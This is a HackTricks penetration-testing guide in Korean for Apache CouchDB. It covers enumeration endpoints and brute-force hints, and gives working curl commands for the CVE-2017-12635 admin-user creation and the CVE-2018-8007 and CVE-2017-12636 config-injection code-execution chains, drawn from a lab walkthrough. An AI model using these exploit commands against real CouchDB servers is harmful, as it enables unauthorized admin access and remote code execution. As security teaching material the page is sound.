5984,6984 - Pentesting CouchDB

Support HackTricks

기본 정보

CouchDB문서 지향 데이터베이스로, 각 문서 내에서 키-값 맵 구조를 사용하여 데이터를 조직하는 다재다능하고 강력한 데이터베이스입니다. 문서 내의 필드는 키/값 쌍, 리스트 또는 맵으로 표현될 수 있어 데이터 저장 및 검색의 유연성을 제공합니다.

CouchDB에 저장된 모든 문서는 문서 수준에서 고유 식별자(_id)가 할당됩니다. 또한, 데이터베이스에 저장된 모든 수정 사항은 수정 번호(_rev)가 할당됩니다. 이 수정 번호는 변경 사항의 효율적인 추적 및 관리를 가능하게 하여 데이터베이스 내에서 데이터의 용이한 검색 및 동기화를 촉진합니다.

기본 포트: 5984(http), 6984(https)

PORT      STATE SERVICE REASON
5984/tcp  open  unknown syn-ack

자동 열거

nmap -sV --script couchdb-databases,couchdb-stats -p <PORT> <IP>
msf> use auxiliary/scanner/couchdb/couchdb_enum

수동 열거

배너

curl http://IP:5984/

이것은 설치된 CouchDB 인스턴스에 GET 요청을 보냅니다. 응답은 다음 중 하나와 비슷해야 합니다:

{"couchdb":"Welcome","version":"0.10.1"}
{"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}}

couchdb의 루트에 접근할 때 401 Unauthorized와 같은 응답을 받으면: {"error":"unauthorized","reason":"Authentication required."} 배너나 다른 엔드포인트에 접근할 수 없습니다.

정보 열거

다음은 GET 요청으로 접근하여 흥미로운 정보를 추출할 수 있는 엔드포인트입니다. couchdb 문서에서 더 많은 엔드포인트와 자세한 설명을 찾을 수 있습니다.

  • /_active_tasks 실행 중인 작업의 목록으로, 작업 유형, 이름, 상태 및 프로세스 ID를 포함합니다.

  • /_all_dbs CouchDB 인스턴스의 모든 데이터베이스 목록을 반환합니다.

  • /_cluster_setup 클러스터 설정 마법사에 따라 노드 또는 클러스터의 상태를 반환합니다.

  • /_db_updates CouchDB 인스턴스의 모든 데이터베이스 이벤트 목록을 반환합니다. 이 엔드포인트를 사용하려면 _global_changes 데이터베이스가 존재해야 합니다.

  • /_membership 클러스터의 일부인 노드를 cluster_nodes로 표시합니다. all_nodes 필드는 이 노드가 알고 있는 모든 노드를 표시하며, 클러스터의 일부인 노드도 포함됩니다.

  • /_scheduler/jobs 복제 작업 목록입니다. 각 작업 설명에는 소스 및 대상 정보, 복제 ID, 최근 이벤트의 이력 및 기타 몇 가지 정보가 포함됩니다.

  • /_scheduler/docs 복제 문서 상태 목록입니다. completedfailed 상태의 모든 문서에 대한 정보를 포함합니다. 각 문서에 대해 문서 ID, 데이터베이스, 복제 ID, 소스 및 대상, 기타 정보를 반환합니다.

  • /_scheduler/docs/{replicator_db}

  • /_scheduler/docs/{replicator_db}/{docid}

  • /_node/{node-name} /_node/{node-name} 엔드포인트는 요청을 처리하는 서버의 Erlang 노드 이름을 확인하는 데 사용할 수 있습니다. 이 정보에 접근하기 위해 /_node/_local에 접근할 때 가장 유용합니다.

  • /_node/{node-name}/_stats _stats 리소스는 실행 중인 서버의 통계를 포함하는 JSON 객체를 반환합니다. 리터럴 문자열 _local은 로컬 노드 이름의 별칭으로 사용되므로, 모든 통계 URL에서 {node-name}_local로 대체하여 로컬 노드의 통계와 상호작용할 수 있습니다.

  • /_node/{node-name}/_system _system 리소스는 실행 중인 서버의 다양한 시스템 수준 통계를 포함하는 JSON 객체를 반환합니다. 현재 노드 정보를 얻기 위해 {node-name}으로 _local을 사용할 수 있습니다.

  • /_node/{node-name}/_restart

  • /_up 서버가 작동 중이며 요청에 응답할 준비가 되었음을 확인합니다. maintenance_modetrue 또는 nolb인 경우, 엔드포인트는 404 응답을 반환합니다.

  • /_uuids CouchDB 인스턴스에서 하나 이상의 범용 고유 식별자(UUID)를 요청합니다.

  • /_reshard 완료된 작업, 실패한 작업, 실행 중인 작업, 중지된 작업 및 총 작업 수와 클러스터의 재분할 상태를 반환합니다.

더 흥미로운 정보는 여기에서 추출할 수 있습니다: https://lzone.de/cheat-sheet/CouchDB

데이터베이스 목록

curl -X GET http://IP:5984/_all_dbs

만약 그 요청이 401 권한 없음으로 응답한다면, 데이터베이스에 접근하기 위해 유효한 자격 증명이 필요합니다:

curl -X GET http://user:password@IP:5984/_all_dbs

유효한 자격 증명을 찾기 위해 서비스를 브루트포스 시도할 수 있습니다.

다음은 충분한 권한이 있어 데이터베이스를 나열할 수 있을 때의 couchdb 응답 예시입니다(단순히 데이터베이스 목록입니다):

["_global_changes","_metadata","_replicator","_users","passwords","simpsons"]

Database Info

데이터베이스 이름에 접근하여 일부 데이터베이스 정보를 얻을 수 있습니다(파일 수 및 크기 등):

curl http://IP:5984/<database>
curl http://localhost:5984/simpsons
#Example response:
{"db_name":"simpsons","update_seq":"7-g1AAAAFTeJzLYWBg4MhgTmEQTM4vTc5ISXLIyU9OzMnILy7JAUoxJTIkyf___z8rkQmPoiQFIJlkD1bHjE-dA0hdPFgdAz51CSB19WB1jHjU5bEASYYGIAVUOp8YtQsgavfjtx-i9gBE7X1i1D6AqAX5KwsA2vVvNQ","sizes":{"file":62767,"external":1320,"active":2466},"purge_seq":0,"other":{"data_size":1320},"doc_del_count":0,"doc_count":7,"disk_size":62767,"disk_format_version":6,"data_size":2466,"compact_running":false,"instance_start_time":"0"}

문서 목록

데이터베이스 내의 각 항목 나열

curl -X GET http://IP:5984/{dbname}/_all_docs
curl http://localhost:5984/simpsons/_all_docs
#Example response:
{"total_rows":7,"offset":0,"rows":[
{"id":"f0042ac3dc4951b51f056467a1000dd9","key":"f0042ac3dc4951b51f056467a1000dd9","value":{"rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329"}},
{"id":"f53679a526a868d44172c83a61000d86","key":"f53679a526a868d44172c83a61000d86","value":{"rev":"1-7b8ec9e1c3e29b2a826e3d14ea122f6e"}},
{"id":"f53679a526a868d44172c83a6100183d","key":"f53679a526a868d44172c83a6100183d","value":{"rev":"1-e522ebc6aca87013a89dd4b37b762bd3"}},
{"id":"f53679a526a868d44172c83a61002980","key":"f53679a526a868d44172c83a61002980","value":{"rev":"1-3bec18e3b8b2c41797ea9d61a01c7cdc"}},
{"id":"f53679a526a868d44172c83a61003068","key":"f53679a526a868d44172c83a61003068","value":{"rev":"1-3d2f7da6bd52442e4598f25cc2e84540"}},
{"id":"f53679a526a868d44172c83a61003a2a","key":"f53679a526a868d44172c83a61003a2a","value":{"rev":"1-4446bfc0826ed3d81c9115e450844fb4"}},
{"id":"f53679a526a868d44172c83a6100451b","key":"f53679a526a868d44172c83a6100451b","value":{"rev":"1-3f6141f3aba11da1d65ff0c13fe6fd39"}}
]}

문서 읽기

데이터베이스 내 문서의 내용을 읽습니다:

curl -X GET http://IP:5984/{dbname}/{id}
curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9
#Example response:
{"_id":"f0042ac3dc4951b51f056467a1000dd9","_rev":"1-fbdd816a5b0db0f30cf1fc38e1a37329","character":"Homer","quote":"Doh!"}

CouchDB Privilege Escalation CVE-2017-12635

Erlang과 JavaScript JSON 파서의 차이 덕분에 다음 요청으로 hacktricks:hacktricks 자격 증명을 가진 관리자 사용자생성할 수 있습니다:

curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json"

이 취약점에 대한 더 많은 정보는 여기에서 확인하세요.

CouchDB RCE

Erlang 쿠키 보안 개요

예시 여기에서.

CouchDB 문서에서는 클러스터 설정과 관련된 섹션에서 (링크), 클러스터 모드에서 CouchDB가 사용하는 포트에 대해 논의합니다. 독립 실행 모드와 마찬가지로 포트 5984가 사용된다고 언급되어 있습니다. 또한, 포트 5986은 노드 로컬 API에 사용되며, 중요하게도 Erlang은 Erlang 포트 매퍼 데몬(EPMD)을 위해 TCP 포트 4369가 필요하여 Erlang 클러스터 내에서 노드 간 통신을 용이하게 합니다. 이 설정은 각 노드가 다른 모든 노드와 연결된 네트워크를 형성합니다.

포트 4369에 대한 중요한 보안 권고가 강조됩니다. 이 포트가 인터넷이나 신뢰할 수 없는 네트워크에서 접근 가능하게 되면, 시스템의 보안은 "쿠키"라는 고유 식별자에 크게 의존하게 됩니다. 이 쿠키는 보호 장치 역할을 합니다. 예를 들어, 주어진 프로세스 목록에서 "monster"라는 이름의 쿠키가 관찰될 수 있으며, 이는 시스템의 보안 프레임워크에서의 운영 역할을 나타냅니다.

www-data@canape:/$ ps aux | grep couchdb
root        744  0.0  0.0   4240   640 ?        Ss   Sep13   0:00 runsv couchdb
root        811  0.0  0.0   4384   800 ?        S    Sep13   0:00 svlogd -tt /var/log/couchdb
homer       815  0.4  3.4 649348 34524 ?        Sl   Sep13   5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b

원격 코드 실행(RCE) 맥락에서 이 "쿠키"가 어떻게 악용될 수 있는지 이해하고자 하는 분들을 위해, 추가 읽기를 위한 전용 섹션이 마련되어 있습니다. 이는 시스템에 대한 제어를 달성하기 위해 비인가 방식으로 Erlang 쿠키를 활용하는 방법론을 자세히 설명합니다. 여기에서 RCE를 위한 Erlang 쿠키 악용에 대한 자세한 가이드를 탐색할 수 있습니다.

local.ini 수정으로 CVE-2018-8007 악용하기

예제 여기서.

최근 공개된 취약점인 CVE-2018-8007은 Apache CouchDB에 영향을 미치며, 악용하려면 local.ini 파일에 대한 쓰기 권한이 필요함을 밝혔습니다. 보안 제한으로 인해 초기 대상 시스템에 직접 적용할 수는 없지만, 탐색 목적으로 local.ini 파일에 대한 쓰기 접근을 부여하기 위해 수정이 이루어졌습니다. 아래에는 이 과정을 보여주는 자세한 단계와 코드 예제가 제공됩니다.

먼저, local.ini 파일이 쓰기 가능하도록 환경을 준비하며, 권한을 나열하여 확인합니다:

root@canape:/home/homer/etc# ls -l
-r--r--r-- 1 homer homer 18477 Jan 20  2018 default.ini
-rw-rw-rw- 1 homer homer  4841 Sep 14 17:39 local.ini
-r--r--r-- 1 root  root   4841 Sep 14 14:30 local.ini.bk
-r--r--r-- 1 homer homer  1345 Jan 14  2018 vm.args

취약점을 악용하기 위해 local.inicors/origins 구성에 대해 curl 명령이 실행됩니다. 이는 [os_daemons] 섹션 아래에 새로운 출처와 추가 명령을 주입하여 임의의 코드를 실행하는 것을 목표로 합니다:

www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf"

후속 검증을 통해 local.ini에 주입된 구성을 확인하고, 변경 사항을 강조하기 위해 백업과 대조합니다:

root@canape:/home/homer/etc# diff local.ini local.ini.bk
119,124d118
< [cors]
< origins = 0xdf
< [os_daemons]
< test_daemon = /usr/bin/touch /tmp/0xdf

Initially, the expected file (/tmp/0xdf) does not exist, indicating that the injected command has not been executed yet. Further investigation reveals that processes related to CouchDB are running, including one that could potentially execute the injected command: 초기에는 예상되는 파일(/tmp/0xdf)이 존재하지 않으며, 이는 주입된 명령이 아직 실행되지 않았음을 나타냅니다. 추가 조사를 통해 CouchDB와 관련된 프로세스가 실행되고 있으며, 그 중 하나는 주입된 명령을 실행할 수 있는 가능성이 있습니다:

root@canape:/home/homer/bin# ps aux | grep couch

식별된 CouchDB 프로세스를 종료하고 시스템이 자동으로 재시작하도록 허용함으로써, 주입된 명령의 실행이 촉발되며, 이는 이전에 없던 파일의 존재로 확인됩니다:

root@canape:/home/homer/etc# kill 711
root@canape:/home/homer/etc# ls /tmp/0xdf
/tmp/0xdf

이 탐색은 local.ini 파일에 대한 쓰기 가능한 접근 권한이 필요하다는 점을 특히 강조하며, 특정 조건에서 CVE-2018-8007의 악용 가능성을 확인합니다. 제공된 코드 예제와 절차적 단계는 통제된 환경에서 악용을 복제하기 위한 명확한 가이드를 제공합니다.

CVE-2018-8007에 대한 자세한 내용은 mdsec의 권고를 참조하십시오: CVE-2018-8007.

local.ini에 대한 쓰기 권한으로 CVE-2017-12636 탐색하기

예제 여기에서.

CouchDB 프로세스를 통해 코드 실행을 가능하게 하는 CVE-2017-12636으로 알려진 취약점이 탐색되었습니다. 그러나 특정 구성으로 인해 악용이 방지될 수 있습니다. 온라인에서 수많은 개념 증명(POC) 참조가 있지만, CouchDB 버전 2에서 취약점을 악용하기 위해서는 조정이 필요하며, 일반적으로 타겟팅되는 버전 1.x와 다릅니다. 초기 단계는 CouchDB 버전을 확인하고 예상 쿼리 서버 경로가 없음을 확인하는 것입니다:

curl http://localhost:5984
curl http://0xdf:df@localhost:5984/_config/query_servers/

CouchDB 버전 2.0을 수용하기 위해 새로운 경로가 사용됩니다:

curl 'http://0xdf:df@localhost:5984/_membership'
curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers

새 쿼리 서버를 추가하고 호출하려는 시도는 다음 출력에서 나타난 것처럼 권한 관련 오류로 이어졌습니다:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

추가 조사를 통해 local.ini 파일에 대한 권한 문제가 발견되었으며, 해당 파일은 쓰기 불가능했습니다. root 또는 homer 접근 권한으로 파일 권한을 수정함으로써 진행할 수 있게 되었습니다:

cp /home/homer/etc/local.ini /home/homer/etc/local.ini.b
chmod 666 /home/homer/etc/local.ini

후속 쿼리 서버 추가 시도가 성공했으며, 이는 응답에 오류 메시지가 없음을 통해 입증되었습니다. local.ini 파일의 성공적인 수정은 파일 비교를 통해 확인되었습니다:

curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"'

데이터베이스와 문서를 생성한 후, 새로 추가된 쿼리 서버에 매핑된 사용자 정의 뷰를 통해 코드를 실행하려는 시도가 이어졌습니다:

curl -X PUT 'http://0xdf:df@localhost:5984/df'
curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}'
curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design/zero", "views": {"anything": {"map": ""} }, "language": "cmd"}'

A **요약**은 특정 조건에서 CVE-2017-12636을 악용하는 데 대한 추가 통찰력을 제공합니다. 이 취약점을 악용하기 위한 유용한 리소스는 다음과 같습니다:

Shodan

  • port:5984 couchdb

References

Support HackTricks

Last updated